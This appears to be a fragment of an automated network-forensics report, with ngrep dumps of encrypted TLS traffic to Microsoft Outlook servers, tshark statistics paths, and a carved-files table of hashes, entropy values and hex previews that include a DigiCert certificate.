Cert0..\"\"0...*.H.............0..\n.......8...Q`.*c.z.S.Wo.........-3..RQ.fc.....r|....d1..w&.l....qE...&H.@.....%..t......I!...~v+..0...|.....6h|...P.........V.......v1p+..c_.>....4.|...M\"\"Q.-%T..3(.cj..I..jL....'.]...........O.z.0...Tf..Y.6......x.{j\"\n0.0,NGrep,##,\"Payload: T 40.98.16.46:443 -> 10.152.152.11:64014 [AP] #89\ni...et.0..gA.....\n.\n6...............K...`.+.........0..0...U.......0.0...U.%..0\n..+.......0...U..........\np..50..T.i.FO:.0...U.#..0...T.....}.....4dDg.u.e0...U...........0<..+.....7.../0-.%+.....7.........F...........]...\"\"......d...0...+.....7.\n..0.0\n..+.......0...+.....0......0...*.H.............MFE._........S4.b.ue....%O.....p..M6..5.~C..T....mjL.........B.i4}Tq......>.......A..u?}'...........?......8J...I..... H..bWF.l.E..?Ch..'H.U..`D{....E..@T.x...&.....)..:E....U..B2............+.{YOmG...%I8.N..x.j3'.Z .:.C...$3....;.I.....c|(z.f.......>4.....XcO`.....S........M-.PJ.VA.....,\n...I.{......4...WyX....Ix......P.!-.c.........D.....2..\\q7H.......F.3_..~T=..+...03....;.{uq$Do\n. t..qz..X-K..^...3.k.Mk.[V.T..i..p).WK.~.u..;.......$.(.x..<.7...K..........^D[ya.;......j........9.......]H....>G<h.{..mkG 2...i...a.......>...a.m..%h..5..Q...u`Xc.....a..ZH...^.....(..../.V..b...l...j:.P.m..\nH.g.G<..B..g.<.i@............N.}_...V...@......_cg...U.......n.....\\....u |.1~P........\n..3...1.\"\".....N.....!+..2..0.......r.._.^.C.....I|.O0........B....'.@O!..X...).r...-.X..)#..y....D.M...}$..3 .|..k.2g$i......M.V........k:w.].\"\"........!IM2V.J%NQ.%..zs...k..\"\".....B...*.......,....\n##\nT 10.152.152.11:64014 -> 40.98.16.46:443 [AP] #91\n....f...ba......i/.wC..2...xg.jA|.O....Z.....Pv..Z....5-.vL..... .J._..FB..MJV...8..w.a...+...=.{..-...rbc...........(...........u.....0M...>..45...... .H...1\n##\nT 40.98.16.46:443 -> 10.152.152.11:64014 [AP] #93\n........*.....$.....^.i3..O.......|.iU._Fk..../...5..f0m{....E........v.`.*$..F..\"\"._.!i...,...!...8..5 ...&..j.[.DHkq\\k...`v.....h[~....3T.n/..]r.).....uH&....Q....R<.3.g.7..9..n..........e.F..XR.k.f(.hZ......z.P........>.7.A..Gvu]M.5G....t.......F..*>.^...!.B...%Hk....$.C..^...T.......tb.S..$.kZ..\\xJ..>)>..........(.........\n8.}.....k.*.)q...J......n...Y.....@........$...N.........o....G..8.....cOD.k9.9q...6N..\n.8..$V..H.G\n##\nT 10.152.152.11:64014 -> 40.98.16.46:443 [AP] #95\n....R........q.S..0...<..K.......m0..n;n...-4.......qx.B....<.Y.J.%M....._w)........!..\n##\nT 10.152.152.11:64014 -> 40.98.16.46:443 [AP] #97\n....o.........?......c.......Y.....\n...o.%g.[e.....|...&dWt....e.C.%:....~.N.X.+.rlPl..s<.0..4..'...._.5.=|..FR...&.\n##\nT 10.152.152.11:64014 -> 40.98.16.46:443 [AP] #99\n....!........Z.Y&...dd...R...[.s..c..I\n##\nT 40.98.16.46:443 -> 10.152.152.11:64014 [AP] #101\n....!..........J.....\n.....>..W......\"\"....................7.W..n!....*.......R...;L.<T..==h..p......p.....QoH9./.$..b......M.,..........G..K....d......#.....].Z.........!..Z.y)..2...t.....G...17...q<..y....*}......<.J\"\"u.;SY....`....n..'.M@S.........&W..~.7.Y......F..0,?..vf...V^..;..x....{......w.4n{...+_/.h...........8^o...,...n..ODV..AKt.Uko....:..a!.>:.{.AJ.i.@.^2X....MEHt..._.Fo.....t.9G.7........x.\\.w..J.=.h7E.C9...5..F....l.F..d;*_aM}.....8./e.....nf.\nA..\"\"3f.-beM.W.*....fW#;f..#y............(.]..w.1.........j..m>..+..w./y.....b$T...%...Vd...z(.p..=O..GI.s..g.y..K.}=l..Febu.....&t.m...&.|..B......e\\I.C..N.&.T.F.U.I.m..=...Q...iC=.4.t.\n4...K..l[....I....\\......c..U#f...h.......z.~\\}.?k)....|.qd..y.y.RvUSl......h+.V....1...O.@%..\n....}a..\"\".......!......'W...a..9.H|.......Zjf..cTb...F.R...y.v.5f.N......}.................{R....+.. ..IRl=r.W@........E....../y1Q...\"\"./Qx....W.&c[...gB._{.D..f.....!.W..a..+.............^...^..@0h.-M..9v.C...._z..r......1.....c.w..@...Q.x........zo.;jC2n.w .y.;.A\"\".a..M..X........].G...O8=.Z....!........!.....Z;Q..v...$J...;i.uh\n##\nT 10.152.152.11:64014 -> 40.98.16.46:443 [AP] #103\n....;...........q2...w.(T.......N^.&;.g..5.x.@..).\\V...cl.OKE.#F\n##\nT 40.98.16.46:443 -> 10.152.152.11:64014 [AP] #105\n............._........q.}Y....!.E.......#........(H.xJb.,...:...r...7F.?M@@.1..M.......t.L.&..-\\...\"\",.......L.....+.q..<......HU.UB...\"\"I..^'.!Z+\"\"G..P:^.s...\n..E....J..u.?cvx$|/8.......R.;...4W9..\"\"..q..@u...&.-/.c....4.......7...|.......>..N....~~.`v\\+..gf.g.9.z..S~{.........O..i(.I..b..m&.#T..V....S....5....b.wC.uh..7...lp.E].>\n.............a.A..KN|.PHEp.CC.7..0..xEG_65......?\\K..6R_.J7.^7P..i..(p.I!..I.A....;.>#0..d....e..,.+8wJ:.. ..U/l.\nVS.d..\\t...h....r.B...u.W...0....BOw.afY=&@<g.-...\n....(.YR..u.3.R.....aZ.*3.^.Z..h.....p...pn..%]...b...An;%.5.xP....X..nH.V...^D...It.D .N....3...\n..91.R<c...............nn..l?.z.9:'.Qoc.........%..laW\n.....&3mJ4&\n##\nT 10.152.152.11:64014 -> 40.98.16.46:443 [AP] #107\n....A........Qe....H..x....>3.a.WL.4$..#...QM.z(.VyW..9..6..{..S}?.qL.\n##\nT 40.98.16.46:443 -> 10.152.152.11:64014 [AP] #109\n....o..........sz.^...'0i..s.9..6/D..e.z......IRQ9.>.T.VZ.BA>#.>......i.....E.f..+v:.:U..S..d....y.>`.CK>(3.04B..Fb`K.p.V~........,.h..p.E...V}..4..^i.\n;..ha.C.R.1...O.....rS\\.N.....V.51[N.\"\"t......... .M.Cr'.,.......>V....vX7X.6:.{.cr..6!.k>nK@.U.2..u..H.k+~.g#m2.c=.`.,..oW...v8...+.`.(.....-...s.........>.e.i......+.2\nx.&...~5t5..WsI.m:....]1.$..xtFL.bIO...........kR.....j.T7f..(D`.j;..sU.....<..).........N..V.&...Oo.gr...z..|...)...m..U).9|......G...S.&z'......Q... 0......y.t-...Q.Qu...N.S.A..P.....=..?.....mh. 7...d..d{9.=_.7..#....d...,....*..a._......U0(d.t.<t.j...L.=.I..mW.f..P.....{^.N.l.p...QG...L..v.....Y...;M..\n####exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmp_aujhgwx/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmp_aujhgwx/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmp_aujhgwx/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmp_aujhgwx/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmp_aujhgwx/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmp_aujhgwx/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmp_aujhgwx/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmp_aujhgwx/tshark/stats/tshark_io_graph.txt\n1781446960.636673,Forensics,File Carved: gzip,\"Path: /tmp/tmp_aujhgwx/carved_files/carved_10.152.152.11:63945-2.23.89.83:443_fwd_0.gzip, Stream: 10.152.152.11:63945-2.23.89.83:443_fwd\"\n1781446962.701811,Forensics,File Carved: gzip,\"Path: /tmp/tmp_aujhgwx/carved_files/carved_10.152.152.11:63964-132.245.230.33:443_bwd_1.gzip, Stream: 10.152.152.11:63964-132.245.230.33:443_bwd\"\n1781446967.222093,Forensics,File Carved: gzip,\"Path: /tmp/tmp_aujhgwx/carved_files/carved_10.152.152.11:64010-132.245.230.33:443_bwd_2.gzip, Stream: 10.152.152.11:64010-132.245.230.33:443_bwd\"\n1781446967.222093,Forensics,File Carved: script,\"Path: /tmp/tmp_aujhgwx/carved_files/carved_10.152.152.11:64010-132.245.230.33:443_bwd_3.script, Stream: 10.152.152.11:64010-132.245.230.33:443_bwd\"\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-06-14T20:04:32.170441,10.152.152.11:63945->2.23.89.83:443,10.152.152.11,63945,2.23.89.83,443,HTTP,carved_10.152.152.11:63945-2.23.89.83:443_fwd_0.gzip,gzip,/tmp/tmp_aujhgwx/carved_files/carved_10.152.152.11:63945-2.23.89.83:443_fwd_0.gzip,431,12ae9c643c9757aa2a501f0c46cc55bc,9b569e8e1836f3adec5a932b7e5b2fec5ece4f72bede3ba08c6041a1350f93d0,7.53,\"Qg/l, ySZj, .1FWI, :BIv, uBhF\",1f 8b eb 41 15 48 5f 7c 4e 35 99 4e ea b7 8c 37 ae 8c a7 30 36 a7 54 f7 57 7d e8 2e e7 8e 76 eb 41 a2 90 91 99 24 4f b4 70 88 e3 76 55 e2 3b bd 12 17 03 03 01 79 00 00 00 00 00 00 00 02 02 0c 32 f5 20 03 25 98 8e b4 e2 dc dd 54 3f 60 83 46 5b b0 6f a4 fa c3 f0 0f 56 83 0d dc 43 2f 4c c4 51 67 2f 6c e3 79 53 5a 6a 00 ed 36 07 ea 9c 93 a8 84 fc 73 12 36 36 8a 46 93 11 0b a7 1f 71 3b d1 ad 77 9a 71 ef c0 57 9e 7c b1 63 c7 e9 47 3a 47 2a 1d a0 da ea 9c c4 46 5f d5 94 df f9 fb 63 82 66 6d 08 cf b7 1b f0 af 9b ec 2e 31 46 57 49 3b 74 be 45 33 38 bd 88 7f c8 6a 37 d4 38 97 f7 bd 71 f1 24 e4 72 06 04 30 cb bd d7 4b 0c 70 88 0b 52 bf 2b d7 52 03 03 59 25 8b 02 bb 3a 42 49 76 87 66 c9 46 de 06 bb e4 7e c2 b4 9c 49 48 65 f0 9b 07 6d 8e 59 86 0b 78 c1 0a c2 57 c2 6d 63 fd dd 23 76 bb 27 8f 67 bb 17 7b d7 1e c0 e7 68 a0 a5 5c 48 59 a8 0d 33 2b 2c 6f 9b bf 91 57 4d 32 d2 18 2a 09 15 38 d3 01 f8 36 4d 8b 47 f6 6c 50 64 ae d4 8c b8 58 eb 8a f4 a3 17 dd 5e ad be 5d 89 2e 76 bb fd 9a 28 d6 b6 bc bf f5 12 ed aa 17 75 42 68 46 91 96 50 ce 07 08 23 19 f6 b3 47 bf 77 3d 39 88 d3 52 a9 dd 59 25 a4 da e5 7f af d1 b8 da a4 1c 69 32 1f fc c7 a1 4e c6 4a a5 25 9c e9 b3 57 2a 73 89 d2 f2 3b 5f d7 2d e8 b5 e9 d5 0f a4 d2 28 40 97 b9 7c ed cd b3 6b eb 60 ad 53 51 44 f5 34 f7 21 25 e2 5d f5 b2 35 ec 50\n2026-06-14T20:04:32.179435,10.152.152.11:64010->132.245.230.33:443,10.152.152.11,64010,132.245.230.33,443,HTTP,carved_10.152.152.11:64010-132.245.230.33:443_bwd_3.script,script,/tmp/tmp_aujhgwx/carved_files/carved_10.152.152.11:64010-132.245.230.33:443_bwd_3.script,2585,b871f542e927ca7abe38777b59c1c873,db8c534f8317de02a6079566f8680560e483ef5d8b4177ba9ee2d78867e29c6a,7.88,\"ZlJDf, y4$1, '52o, fZKw, gC)WG, 2Knq, %jeo, $Bdg, N8D1X, 7>IE, 9%]NS, OVI%, %O)Wf, kHeXd\",23 21 e5 fe 00 bd 6d d8 9a a3 d0 5b 4e 1c 62 bd 0f 49 a4 3f 6e 16 15 ef 7a 75 cd 3b 7b 52 74 57 ac c6 e2 20 33 f5 cf 76 3c a9 fb a2 e9 25 b3 b4 40 bc 8b f5 10 45 66 d2 42 d3 29 6f 80 32 a6 35 98 43 a1 fa ab 85 82 a1 97 3f eb b9 b8 bd 5a 6c 4a 44 66 cd 11 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 5f 39 88 25 ce 3e 62 7b 59 6d 06 20 9c af 2f d0 bd dc 6d 6c c5 fb 31 ce e0 81 ab 2a 4a a6 53 68 17 03 03 00 40 00 00 00 00 00 00 00 01 5b fa 52 76 62 ff 79 34 24 31 81 34 82 e0 79 80 b1 45 b9 03 5e 0e c0 b5 bb 34 81 d1 54 e7 5d da 17 5e fb b2 d5 c5 70 23 5d d8 67 c7 1e 14 ed ce 1c f4 1f 00 40 43 1c b1 17 03 03 00 21 00 00 00 00 00 00 00 02 a1 de 75 34 80 40 1e 23 a7 ff 48 f8 5e 5c 86 cf 81 7a 03 c4 64 58 2d f7 f5 17 03 03 02 dc 00 00 00 00 00 00 00 03 cf 0f d0 7c 32 17 5b 00 89 4c f1 69 eb e2 64 f4 4d c4 c3 27 41 18 29 23 6e 3e 7e 21 24 d4 62 68 b6 a5 b7 54 7d 28 ee 48 06 5d c9 66 a7 99 04 3e 60 06 e2 69 ea c4 c7 3d 61 e4 30 16 31 6a 8b e6 c6 3c ae 03 3d 11 7a 2a 0c 86 e6 06 f4 28 d8 3a 13 89 38 ee b9 05 51 7a e0 d9 86 6b 05 ee a7 27 35 32 6f 0e ce 59 2c 4a 13 9c 54 b7 78 91 64 ef 21 cd 66 02 ac 7d ab 7e 74 78 9f f5 4d b4 3a 33 9c 74 ef 16 ca 38 2b 41 0c a3 1c 9e da 08 a0 d2 02 51 f0 0d 2c 15 90 fb 06 1a 1e ad ef 6d 07 66 5a 4b 77 cd 4e 13 3c 30 81 67 43 29 57 47 ba 9c 03 43 71 f6 c0 93 8d de 86 56 01 3b 74 5d 92 72 f3 d4 34 d1 9b 32 4b 6e 71 0a 55 a7 b9 1c da 27 5f ea f0 8c 5e 89 f0 ab 89 a4 89 f6 d3 2c 08 85 77 80 28 30 f6 d4 30 be 6e 43 4c c6 a3 0d 86 20 57 6c fe 50 34 b1 64 e1 6f 4d b6 dc 32 fc e9 49 ff d5 68 52 89 c5 45 b0 ad 19 6a 66 bd fd 1f 70 6e 2c 15 3c 4d 92 15 82 93 83 64 55 f1 c8 60 77 d5 65 29 d1 a4 4f 2d b2 7e 17 b7 ac f9 2e a1 ff 1c 70 b9 a3 98 13 37 e7 0d b8 46 94 1b dd a5 35 9a af cb 27 32 80 aa 59 16 12 38 f7 1b 5f 85 a2 37 19 4c 87 f9 37 f1 25 e6 3f 12 90 21 73 4b 7f af 73 05 32 cc bd a7 f6 91 57 01 4e 7a 8c 5a b7 25 9b 70 0a f0 48 6c b8 8e a1 21 df 4c f7 74 65 ed 68 b1 c6 2b ef a8 46 58 1c 5d 37 d6 6c 88 fe c5 6e 70 b6 bd 46 39 55 a6 c5 c3 8e 3a 3e 6d 84 2e ed e4 10 cf 45 9d 8e 8c 8d 63 89 32 99 48 b2 bd 88 15 35 06 c2 01 f4 10 d9 aa 1b 10 a6 cf 04 00 81 66 5a 0f 13 18 52 23 02 e5 ec 25 6a 65 6f bc 40 43 05 65 19 4b ae bc 87 99 ff d9 27 c0 a1 ca f2 b9 e3 37 8d 03 88 2d 9d 26 33 1b 45 d7 56 5c c6 1a c8 51 92 8e 98 ad 58 9f e7 34 f4 7d 61 96 c2 1e 12 9a 94 7a 1d 64 1f bc 9f 3a bb 91 09 32 ff 13 68 de 3a 3f fd 1b 80 e1 6e 9f c4 dd 84 55 9a e4 08 3c 01 69 4d 25 a2 9c 93 36 41 80 d4 cc 36 07 ab f4 14 72 8d 13 59 8c f9 e5 25 db b0 60 b7 f3 ea 9f 9a eb 18 62 6d 16 3d d3 f7 77 71 8e 7e a1 6a 55 1c 6d 3d 1d b7 73 1f 61 b0 24 62 fc d8 81 e1 a8 92 74 e3 d1 6d f1 85 5f 71 a9 fe 63 cc 1f 19 9f 49 cb 0a 54 ee 81 ad 81 e9 3d cb 07 09 52 25 99 c3 83 49 9c 79 f7 f3 29 d3 b2 06 fd ac c4 cd 76 ea 94 ca ec f2 fd 01 b5 7f b2 e0 e1 46 39 05 f0 ca 5e b5 d3 87 49 d3 fe 99 13 8b 64 b6 f7 7f 8a 12 2e 26 48 d6 0d 15 41 bc 52 c3 e5 0d 42 71 a6 78 e9 2e f5 07 8f 5e 02 6a 72 ea a3 bc 89 b1 17 03 03 00 d2 00 00 00 00 00 00 00 04 9b 1f 24 42 64 67 d3 fd 9f 9d 10 ee 42 3d 7f 4f d8 9a 2e 58 25 0a be 1e ef c9 36 d5 99 4d da 3e 32 b5 d4 c5 92 27 7f 49 9c 1e 31 00 3f 4e 38 44 31 58 b8 1b 4d ce fc 25 2c d5 25 a1 61 b0 11 bd 63 ec e8 c7 96 e5 cc 76 7b 79 1a c6 97 6c a9 d4 bd 2e 09 9c 18 0c 14 c7 0f f5 06 b0 8f 32 60 91 35 1f e3 82 50 dd 65 2e f4 07 91 53 01 b6 59 46 26 15 8e 12 75 0c b5 67 4d 88 76 eb 87 a0 5a d0 f2 d1 01 1a a4 39 60 fd 35 48 ee 49 7b fe aa 68 36 95 cb 63 6c 34 e2 50 7d 9f 76 ee 89 81 c9 63 ff 17 08 03 21 01 33 31 63 ae 37 66 41 d7 58 65 d5 a1 02 e8 95 cd 20 49 32 ab e5 60 67 cc 13 6b 4c da 41 9d 14 63 1d 5f c7 7f 17 03 03 00 21 00 00 00 00 00 00 00 05 77 0f 35 65 8b 4d 22 d0 3a 26 61 09 d5 da 87 c4 88 74 66 a3 67 16 a8 f6 80 17 03 03 02 cf 00 00 00 00 00 00 00 06 85 04 62 03 14 84 2a b2 5e 00 96 41 80 cf be 83 77 a4 cc ad 68 73 23 18 b9 23 a9 29 a2 bb a4 c9 35 77 00 bf 18 55 31 98 d8 28 d8 3e 21 06 ef f7 37 d4 58 fa 6b ec be 91 f8 eb a7 e6 df 18 41 81 65 cd 88 b3 ad 42 b6 ca 07 5b 75 34 5e b4 6a e7 88 b1 d2 30 f2 66 14 54 3b 90 52 2d dc 19 7a 8e 0a 73 91 60 7c 55 e8 cc 93 42 6e 4b e0 5d ba 95 5b 91 4a 53 fe b1 23 a0 80 38 10 a0 a5 b1 5a e4 38 f3 36 16 f3 91 15 6a ac e4 06 a9 ae 02 89 12 a4 04 08 8a 1c a7 2c 0b b1 41 cb f5 72 e8 ff 5a 18 48 17 e3 40 4b 3b 34 db 9c 88 aa 41 6e cb 35 9d b4 ee a7 d4 4e 51 0a 79 1f 08 68 b9 71 f7 f9 71 76 95 b8 61 43 38 b6 4a b2 a9 6b 43 60 2e 47 0a 56 b5 dd 97 fb 11 7f 5f 74 76 e2 9c 03 f1 e6 54 d5 18 dc 25 a1 61 02 ff 12 d4 f3 ac 62 c6 95 9a 63 8b 27 60 61 28 3d 2b d5 53 8b b1 e5 31 b3 18 b5 41 13 f0 f0 f4 03 bc 0d 55 d0 82 06 c1 95 9c 07 0a 95 b7 56 19 cb 21 ee 97 7f d3 4d f6 10 75 9f f7 6f f9 5c 2c 74 00 7a 43 6c c0 8a 82 5b bd 9a 8c 79 f6 84 fc e1 68 35 37 c7 e3 67 35 86 5b bc ce 9e 17 af 57 ec dd 26 95 f2 81 37 3e 49 45 cb 36 c5 50 53 a2 75 7f 54 74 82 9f 7c 3f e9 c8 d8 7e 76 e8 d7 1b fd e3 d4 e4 d9 04 43 a0 d7 6e 7d fe 04 f7 13 2a 73 04 fa 7c 23 28 ed 1d 7d 04 68 b1 f3 f1 06 c4 3d 3b 17 98 46 c0 5a 53 b2 53 08 ac 97 9a 0b c2 b9 2c 8e 39 d4 08 eb a0 cb 87 2d 6d 8e 87 3a 01 6d dd 7a cb 1f a7 f0 42 95 41 0c 6d 18 2f 75 1b 12 d1 38 89 69 8b 8a 71 88 01 24 d4 ca a1 39 89 d9 51 0d 5c 27 0b 53 a8 98 25 8c f9 5d 58 a4 a2 6d 75 12 82 40 2b 4f d9 94 f9 a8 83 56 5c 7f fb c0 dd 48 e2 6e fb 50 21 7d 9f b9 a3 c1 c2 f5 91 5c 29 47 11 68 58 65 92 b9 e7 5d f3 ca 71 49 c1 36 70 c5 24 06 52 9b b5 54 01 40 dd 4f 05 59 8f a4 05 ad e1 78 54 c7 97 e7 b7 3b 94 fb 36 a1 7b b7 86 40 18 df cf aa 59 78 3b 08 cb 3c 50 f0 fa 98 24 cd 63 67 90 e9 54 60 87 41 35 a3 7e 60 ea 72 65 e4 2d 6c 7d b7 ca 6e 76 b2 dc 30 25 c5 92 b4 6f 6c da ba df 97 1f 8f c8 68 2b 7e 6d ca f1 ed 91 20 da 2f ff 62 c7 cd a2 a9 22 c8 85 8c ee 03 41 b6 26 1e 85 05 9f c6 af 72 fa 1f e0 dc e1 b2 33 7f d5 0b 89 a7 85 c4 62 ca a2 c0 67 48 67 1d 73 74 82 40 a6 e9 ff ea 0e 27 90 29 99 6f 57 1a 95 7d e9 6d f3 30 ad b5 e5 26 cd 66 2a 49 f2 a8 43 9c 98 32 df 1b ac e0 74 96 96 5b 95 23 98 17 03 03 02 6f 00 00 00 00 00 00 00 07 45 ee 6d 1c 7c 70 4e e7 44 be ba 5e dc cd e4 f7 bf 03 ce f2 01 9c e5 2e 72 dd c8 84 47 12 0a 52 f6 74 46 43 bd 9d c0 9c 56 fe 0a 4a 0a 2f 20 7f 88 59 5e 5e 47 98 06 f9 5f af 70 a1 09 57 f2 52 cc fd 9b 3d c0 5f a7 55 c1 3b 73 8c 26 bf 2d 0c 38 f8 60 34 e5 9f e4 09 f2 7e 7a 30 9f 50 00 1a 16 68 48 fb 3e a6 f7 5c 8c f4 aa f9 45 80 3a c9 db 5e 72 dd 75 4e f9 fa 9c 55 f5 ab b0 39 4a b6 7e 9b 97 a3 52 f6 88 73 f2 4c 07 ca 93 b2 ac 15 49 a9 1b d1 56 e4 0a cd ac 58 f6 44 bd df a5 d4 d0 60 be d8 8e fb 6d 24 67 9f 6b 83 97 d0 3c a7 2f 88 8a 9f 27 f5 f0 9f d0 7c aa 6c 2a 8e 05 39 25 5d 4e 53 bb d3 80 51 42 20 26 44 63 a3 3a 1b 05 62 d9 85 9d 39 f6 3e 26 f4 24 b6 58 d9 e8 24 9f 4f 56 49 25 c9 52 c5 12 0a cf 03 6a 68 31 b6 41 4a 07 74 2b 28 4b c9 97 83 5b 8c 21 dc 3f 93 9e 48 e2 3a 53 9c 2d a9 93 99 69 27 b8 f4 17 31 b4 ff 66 4a 74 80 f8 df d0 31 ca 92 72 cc f1 4a 5b 06 e6 33 85 8b 23 2b f5 8c 46 82 9a 92 73 2e b8 32 80 7c fa a8 b2 06 a9 03 3f 02 85 d9 69 4f 89 65 eb 95 51 bf 3f 7e 04 3c c7 39 b3 c3 95 eb ce 2c 79 8a a4 5c f2 a3 d7 e0 42 fc fe 10 ec 01 69 48 ca cf a9 26 92 01 8a 26 22 ce 1a ac 46 e5 5b de d0 e0 f8 25 4f 29 57 66 12 ae b5 3a d6 5c d1 d9 c5 92 89 85 42 61 f3 58 d8 4f 94 01 c4 f0 8a c7 22 66 11 33 bd ba ba b3 db b4 fd 3a 44 07 df a4 6c 11 c1 6b 48 65 58 64 11 66 1b e1 c5 88 1a 14 3f bc 43 87 0c 86 b9 2e e7 1f 83 78 12 fc 94 d8 7e aa a6 89 c6 1b 83 1b 93 7f 5f e5 01 c6 15 5d f4 21 6c 15 02 18 d0 e6 86 6f 58 f2 71 f6 40 22 98 b0 3d 73 8a b9 00 7c 9b 5a 9d 50 c2 2c 15 2b 0b 4f 68 96 f1 bb b9 ff ba 10 c1 f5 9b f3 63 4f 24 c2 ae 19 64 fb 56 de cc 56 22 b8 32 d1 84 07 47 99 da 28 98 c6 29 61 e6 02 f6 df 31 92 34 23 ce 48 a4 3a e8 cd 20 05 98 5f 0e 90 52 f5 a9 d9 76 1c 88 44 b4 a2 40 ae 60 cb 5f d0 df 6b 82 10 d3 28 30 8b aa f8 cb cf 22 73 34 8b ed 26 4a d0 6a 24 92 dd 57 c5 3d 66 d7 61 7d 49 03 4f b9 a1 e9 2f a4 5d e5\n2026-06-14T20:04:32.171325,10.152.152.11:63964->132.245.230.33:443,10.152.152.11,63964,132.245.230.33,443,HTTP,carved_10.152.152.11:63964-132.245.230.33:443_bwd_1.gzip,gzip,/tmp/tmp_aujhgwx/carved_files/carved_10.152.152.11:63964-132.245.230.33:443_bwd_1.gzip,6750,3b9f83e825c47a72b2b4d4801a97e29e,5550b6b0319c6d8664bd92ef08535cbc5cdc1c0a271f398ac7be0d5c463fe14c,7.76,\"iuP6, outlook.com, .hotmail.com, .internal.outlook.com, .live.com, .office.com, .office365.com, .outlook.com, .outlook.office365.com, attachment.outlook.live.net, attachment.outlook.office.net,  attachment.outlook.officeppe.net, attachments.office.net, attachments-sdf.office.net, ccs.login.microsoftonline.com, hotmail.com, mail.services.live.com, office365.com, outlook.office.com, substrate.office.com, substrate-sdf.office.com0>, 70503, 0)0', http://www.digicert.com/CPS0, Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H, Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0, 0y0$, http://ocsp.digicert.com0Q, Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0,  yF)[Ro, DigiCert Inc1, www.digicert.com1 0, DigiCert Global Root G20, 210330000000Z, 310329235959Z0Y1, DigiCert Inc1301, DigiCert Global G2 TLS RSA SHA256 2020 CA10, bRBu, j0h0$, http://ocsp.digicert.com0, 4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B, 0907, 1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0, 6040, MLV_, UZ8r, 20260610071844Z0s0q0I0, 20260610070300Z, 20260617060300Z0, 9I-., /hU7, RK6V, PZ-h, 2BAl, r8%z, GHVz, hHb2, l2ItNs, 5>Pgo:, 4.1m, ZbOp, LA%N, Cc,ur, bwS$, XH,c, VFR8, r1/F, sp1I, 3BT], Ya[hh, 4LA<, 6C:B, 0GZb\",1f 8b d4 55 7c 05 e1 cf 94 70 38 72 b7 65 9d 9d 6b 76 0a 6a 69 34 5e d1 ce 3e ac ed 7f 67 a5 dd 86 02 ec 55 f3 d3 39 9c 74 fa 02 ec 3a 96 8d fe e6 e4 69 75 50 36 a9 3b bc 8c c6 38 f1 da b4 b9 30 2b 89 32 30 a9 b2 38 84 28 60 9b d6 f1 31 ff 09 ca e0 ec 1d 93 61 1b c7 c9 e2 24 8f 79 b2 0c 61 fd ee 2d df 23 1f 4d 4f ac 40 1b 2a b2 d1 0f fe d7 49 e4 23 ed 16 e7 45 3b 76 4c c5 59 f4 0d 43 70 65 10 52 7f bf a6 aa 02 cf e8 dc 87 aa 24 cb e7 09 8c cc fa af 7c 54 7a 88 91 7c 16 15 8b b7 a9 f7 61 85 45 21 fa 88 bf 96 70 20 2c d6 ba 70 de 3e 16 7b 85 de 62 47 35 3f c1 a9 66 b6 55 f7 55 d3 1d d9 e4 04 34 f3 97 9f 41 05 f6 de 78 0b 32 00 f7 7e d3 5e ce 89 d6 0e c1 18 3a a4 bd 02 03 01 00 01 a3 82 05 25 30 82 05 21 30 1f 06 03 55 1d 23 04 18 30 16 80 14 74 85 80 c0 66 c7 df 37 de cf bd 29 37 aa 03 1d be ed cd 17 30 1d 06 03 55 1d 0e 04 16 04 14 76 45 e5 c3 cb 9c fe fa 5f fe 24 55 e8 bc 60 dd be aa 93 e1 30 82 01 bd 06 03 55 1d 11 04 82 01 b4 30 82 01 b0 82 0b 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0d 2a 2e 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 2a 2e 69 6e 74 65 72 6e 61 6c 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 0a 2a 2e 6c 69 76 65 2e 63 6f 6d 82 0c 2a 2e 6f 66 66 69 63 65 2e 63 6f 6d 82 0f 2a 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 0d 2a 2e 6f 75 74 6c 6f 6f 6b 2e 63 6f 6d 82 17 2a 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 82 1b 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6c 69 76 65 2e 6e 65 74 82 1d 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 2e 6e 65 74 82 20 61 74 74 61 63 68 6d 65 6e 74 2e 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 70 70 65 2e 6e 65 74 82 16 61 74 74 61 63 68 6d 65 6e 74 73 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1a 61 74 74 61 63 68 6d 65 6e 74 73 2d 73 64 66 2e 6f 66 66 69 63 65 2e 6e 65 74 82 1d 63 63 73 2e 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 82 0b 68 6f 74 6d 61 69 6c 2e 63 6f 6d 82 16 6d 61 69 6c 2e 73 65 72 76 69 63 65 73 2e 6c 69 76 65 2e 63 6f 6d 82 0d 6f 66 66 